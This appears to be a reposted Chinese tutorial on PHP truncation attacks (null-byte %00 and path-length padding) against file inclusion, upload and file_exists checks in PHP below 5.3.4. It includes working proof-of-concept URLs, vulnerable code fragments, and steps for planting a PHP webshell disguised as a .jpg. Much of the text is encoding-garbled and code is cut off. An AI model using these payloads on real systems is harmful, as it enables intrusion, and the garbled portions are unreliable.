php截断上传,截断在文件包含和上传中的利用
截?cái)啻蟾趴梢栽谝韵虑闆r適用
include(require)
file_get_contents
file_exists
所有url中參數(shù)可以用%00控制
0x01. 本地文件包含1.1 截?cái)囝愋?#xff1a;php %00截?cái)?/p>
截?cái)鄺l件:
php版本小于5.3.4 詳情關(guān)注CVE-2006-7243
php的magic_quotes_gpc為OFF狀態(tài)
漏洞文件lfi.php
要include的password文件
Password
利用代碼:lfi.php?action=password%00
注意:url正宗%00是被會(huì)url解碼成0x00,所以可能導(dǎo)致截?cái)唷?/p>
password文件被成功包含并且執(zhí)行phpinfo()函數(shù)。
如果沒有截?cái)鄺l件,lfi.php就只能包含php擴(kuò)展名的文件。
相反,如果有截?cái)鄺l件,lfi.php可以包含任意文件的擴(kuò)展名。
當(dāng)把magic_quotes_gpc打開,php版本依然是5.2.9時(shí),再測試,結(jié)果%00被轉(zhuǎn)義成了\0兩個(gè)單體字符,不再具有截?cái)喙δ堋?/p>
原因是:當(dāng)打開magic_quotes_gpc時(shí),所有的 '(單引號(hào)),"(雙引號(hào)),\(反斜線)和 NULL字符(%00)都會(huì)被自動(dòng)加上一個(gè)反斜線進(jìn)行轉(zhuǎn)義。還有很多函數(shù)有類似的作用 如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等
當(dāng)把magic_quotes_gpc關(guān)閉,php版本依然是5.3.10時(shí),依然不能截?cái)唷K宰C明,php版本和gpc兩個(gè)條件都必須滿足,才能截?cái)唷?/p>
除了上面的include、require、include_once、require_once還有file_get_contents也能配合php %00利用。
FileGetContents.php
利用方式:
此時(shí)可以看到當(dāng)前目錄put.txt是上面password中的內(nèi)容。
Password
1.2 文件路徑長度截?cái)?/p>
除了1.1說的%00可以截?cái)?#xff0c;還可以用字符.或者/.,或者./(注意順序)來截?cái)?#xff0c;不能純用/,至于為什么,不能用其他字符,想必應(yīng)該和php實(shí)現(xiàn)有關(guān)。
系統(tǒng)文件路徑長度限制:
windows 259個(gè)bytes
linux 4096個(gè)bytes
截?cái)鄺l件:
php版本為5.3.4以下(具體哪個(gè)版本不是很清楚,烏云上kukki寫的5.2.8以下,這明顯是不對的,因?yàn)槲覝y試用的5.2.9)
GPC是否開啟沒關(guān)系
漏洞代碼lfi.php,和1.1中的lfi.php一樣
在windows下需要.字符最少的利用POC:
lfi.php?action=password..............................................................................................................................................................................................................................................
成功包含,執(zhí)行password里面的phpinfo函數(shù)
加上根目錄路徑一共為258個(gè)字節(jié)。所以需要的最少的.數(shù)為
258 - (lfi.php文件的路徑長度即C:/wamp/www/+strlen('password'))
或者用./截?cái)?#xff0c;最短的POC為,并且最短路徑長度為258
lfi.php?action=password./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
將password文件名改為password123后,最短的POC為,最短路徑長度依然為258
lfi.php?password123/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
注意這兩者一個(gè)是/開始,一個(gè)是.開始,這和路徑長度的奇偶有關(guān)系,真正遇到這樣的情況,就丟很長的/.,最后再跳整下第一個(gè)/或者.即可。
linux就自行測試吧。
0x02. 文件上傳
截?cái)囝愋?#xff1a;php的%00截?cái)唷K越財(cái)嗟臈l件依然是php %00截?cái)嗟臈l件
php版本5.3.4以下
gpc關(guān)閉
測試環(huán)境:
php版本5.2.9
gpc關(guān)閉
漏洞代碼 upload.php
File Upload Vulnerability文件:'; echo'路徑:'.$targetPath; } else { echo("上傳失敗"); } }else{ echo("上傳失敗");}}?>
這個(gè)漏洞代碼是我YY的,可能實(shí)際情況不一定能夠用上。只是證明截?cái)嗫梢赃_(dá)到上傳的功能。
先將一個(gè)php木馬重命名為上面擴(kuò)展名為白名單的后綴,比如.jpg
點(diǎn)擊submit按鈕,就在server上生成了一個(gè)xxoo.php的馬。
0x03. file_exists判斷文件是否存在
file_exists在判斷文件存在的時(shí)候也有被截?cái)嗟默F(xiàn)象。
截?cái)鄺l件:
php版本小于5.3.4
GPC關(guān)閉狀態(tài)
漏洞代碼如下,和CVE-2014-8959 phpmyadmin的這個(gè)漏洞一樣。
';if(! file_exists($filename)){ echo'not exist';}else{ include_once($filename); echo'exist';}?>
當(dāng)前目錄存在一個(gè)shell.jpg文件,此時(shí)訪問?file=shell.jpg%00,返回結(jié)果是文件存在。
有一個(gè)小技巧:
當(dāng)上面文件第五行變成$filename = 'xxoo' . $file . '.php';,如果仍然要用shell.jpg,那么只需這樣構(gòu)造:?file=/../shell.jpg%00,利用/../回到當(dāng)前目錄。
在php中一些目錄切換
../表示上一層目錄
./表示當(dāng)前目錄
/單獨(dú)使用不能表示當(dāng)前目錄,只用xx/這樣才能表示xx這個(gè)目錄
參考文章
總結(jié)
以上是生活随笔為你收集整理的php截断上传,截断在文件包含和上传中的利用的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java csv 导出_java实现CS
- 下一篇: 求数组的最大值php,求PHP数组最大值